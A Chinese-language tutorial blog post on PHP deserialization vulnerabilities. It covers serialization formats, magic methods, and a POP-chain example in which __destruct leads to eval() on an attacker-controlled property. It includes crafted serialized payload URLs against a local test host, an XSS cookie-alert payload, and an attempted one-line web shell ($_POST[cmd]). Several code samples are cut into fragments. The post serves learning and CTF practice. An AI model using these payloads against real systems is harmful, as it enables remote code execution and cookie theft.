最近又遇到php反序列化，就顺便来做个总结。
0x01 PHP序列化和反序列化
php序列化：php对象 序列化的最主要的用处就是在传递和保存对象的时候，保证对象的完整性和可传递性。序列化是把对象转换成有序字节流，以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了php对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
php反序列化：php客户端从文件中或网络上获得序列化后的对象字节流后，根据字节流中所保存的对象状态及描述信息，通过反序列化重建对象。
简单来说，序列化就是把实体对象状态按照一定的格式写入到有序字节流，当要用到时就通过反序列化来从建对象，恢复对象状态，这样就可以很方便的存取数据和传输数据。
序列化例子：
最后输出：O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}
注意：序列化对象时，不会保存常量的值。对于父类中的变量，则会保留
序列化只序列化属性，不序列化方法。
简单介绍下具体含义
但是我们注意到上面的例子序列化的结果有些不对。那是因为序列化public private protect参数会产生不同结果，test类定义了三个不同类型(私有，公有，保护)但是值相同的字符串但是序列化输出的值不相同。
通过对网页抓取输出是这样的
`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"\00test\00name2";s:2:"lu";s:8:"*\00*\00name3";s:2:"lu";}
public的参数变成 name private的参数被反序列化后变成 \00name\00name2 protected的参数变成 \00*\00name3
反序列化试例：
?php
class lushun{
var $test = '123';
}
$class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "";
//我们在这里用 unserialize() 还原已经序列化的对象
$class2_un= unserialize($class2); //此时的 $class2_un 已经是前面的test类的实例了
print_r($class2_unser);
echo "";
?>
一般反序列化后必须要在当前作用域有对应的类（因为不会序列化方法），实例才能正确使用，所以再进行反序列化攻击的时候就是依托类属性进行，找到我们能控制的属性变量，在依托它的类方法进行攻击。将上面定义的lushun类删除之后。结果
提示不完整的类
0x02 PHP序列化漏洞是怎么产生的
要了解在序列化和反序列化之间的漏洞，我们先要了解PHP里面的魔术方法，魔术方法一般是以__开头，通常都设置了某些特定条件来触发。这里先提一下有个印象。
PHP的魔法函数
__wakeup， unserialize() 执行前调用
__destruct， 对销毁的时候调用
__toString， 类被当成字符串时的回应方法
__construct()，当对象创建(new)时会自动调用，注意在unserialize()时并不会自动调用
__sleep()，serialize()时会先被调用
__call()，在对象中调用一个不可访问方法时调用
__callStatic()，用静态方式中调用一个不可访问方法时调用
__get()，获得一个类的成员变量时调用
__set()，设置一个类的成员变量时调用
__isset()，当对不可访问属性调用isset()或empty()时调用
__unset()，当对不可访问属性调用unset()时被调用。
__wakeup()，执行unserialize()时，先会调用这个函数
__toString()，类被当成字符串时的回应方法
__invoke()，调用函数的方式调用一个对象时的回应方法
__set_state()，调用var_export()导出类时，此静态方法会被调用。
__clone()，当对象复制完成时调用
__autoload()，尝试加载未定义的类
__debugInfo()，打印所需调试信息
序列化本身没有问题，问题还是那个经典的老大难：用户输入，我们可以控制序列化和反序列化的参数，就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的，就必须对序列化和反序列化过程进行详尽的了解，利用或者绕过某些魔法函数。
来一个例子
target;
}
}
$a = $_GET['test'];
$c = unserialize($a);
?>
我们构造一个反序列化来修改$target的内容，就可以制造一个xss弹窗，既然我们可以控制$a的输入
alert(document.cookie);';
}
$a = new test();
$a = serialize($a);
echo $a;
?>
0x03 魔法函数的触发顺序
我们重点关注以下几个魔法函数
这里我们着重关注一下几个：
- 构造函数
__construct（）：当对象创建（new）时会自动调用。但在unserialize（）时是不会自动调用的。 - 析构函数_
_destruct（）：当对象被销毁时会自动调用。 __wakeup（）：如前所提，unserialize（）时会自动调用。__toString()当一个对象被当作一个字符串使用
*__sleep()在对象在被序列化之前运行，用于清理对象，并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容，则NULL被序列化，导致一个E_NOTICE错误。
测试代码
";
}
function __sleep(){
echo "__sleep";
echo "";
return array('test');
}
function __toString(){
return "__toString"."";
}
function __conStruct(){
echo "__construct";
echo "";
}
function __destruct(){
echo "__destruct";
echo "";
}
}
$lushun_1 = new lushun();
$data = serialize($lushun_1);
$lushun_2 = unserialize($data);
print($lushun_2);
print($data."");
?>
输出结果：
可以看到__destruct函数执行了两次，说明有两个对象被销毁，一个是实例化的对象，还有一个是反序列化后生成的对象。
0x04 魔法方法的攻击
先来看个例子
test = new Bad();
}
function __destruct() {
$this->test->action();
}
}
class Bad {
function action() {
echo "1234";
}
}
class Good {
var $test2;
function action() {
eval($this->test2);
}
}
unserialize($_GET['test']);
可以看到需要我们传入一个序列化后的字符串作为参数，然后看定义了三个类第一个One类里有两个魔法函数，一个构造函数一个析构函数，构造函数把One类的test属性变成Bad类的实例，析构函数就执行action()方法，但是到现在还是没发现什么有价值的东西，再往下看Good类里有eval函数，这个函数很危险能够执行php命令，知道了这些想想怎么能利用上，如果我们能将构造函数的test属性从Bad类转到Good类，再给Good类的test变量定义一个可以执行的值，是不是就可以用上了呢。看一下实现代码。
test = new Good();
}
}
class Good {
var $test2="phpinfo();";
}
$A = new One;
print(serialize($A));
这里可能你也有个疑问，php序列化的时候是不会序列化方法的，但是这里序列化之后还是带着构造方法所引用的对象信息，我将构造方法删除之后，在执行了一次，是这样的。
发现构造函数还是影响了序列化的操作，这里着实困扰了我一阵，后来发现是我傻了，在序列化之前已经先new了一个对象构造函数已经先执行了，已经将test的属性改为Good类的对象了，所以序列化时自然会带上Good类。
接下来就可以用生成的序列化结果复制出来，像之前的代码发起请求
192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}
注意：test是private类型，记得加上%00xx%00，我们在传输过程中绝对不能忘掉.
这里我还尝试了一下把$test2的值换成一句话马
然后构造url用菜刀连接
http://192.168.0.103/13.php?test=O:3:"One":1:{s:9:" One test";O:4:"Good":1:{s:5:"test2";s:13:"($_POST[cmd])";}}
结果报错了
下次再研究一下为什么。
到了这里大致总结一下发现利用php反序列化漏洞的几个点。
（1）检查我们是否能控制unserialize()函数的参数。
（2）重点查看序列化对象里的魔法函数的作用，看看可控制的属性有没有能对其产生影响的。
（3）该类在执行序列化之前做了哪些动作，或者操作。
（4）最后选择好要控制的属性之后，将相关的类代码复制下来生成反序列结果。
0x05 反序列化漏洞例题
1.bugku平台 flag.php
http://123.206.87.240:8002/flagphp/?hint
Login
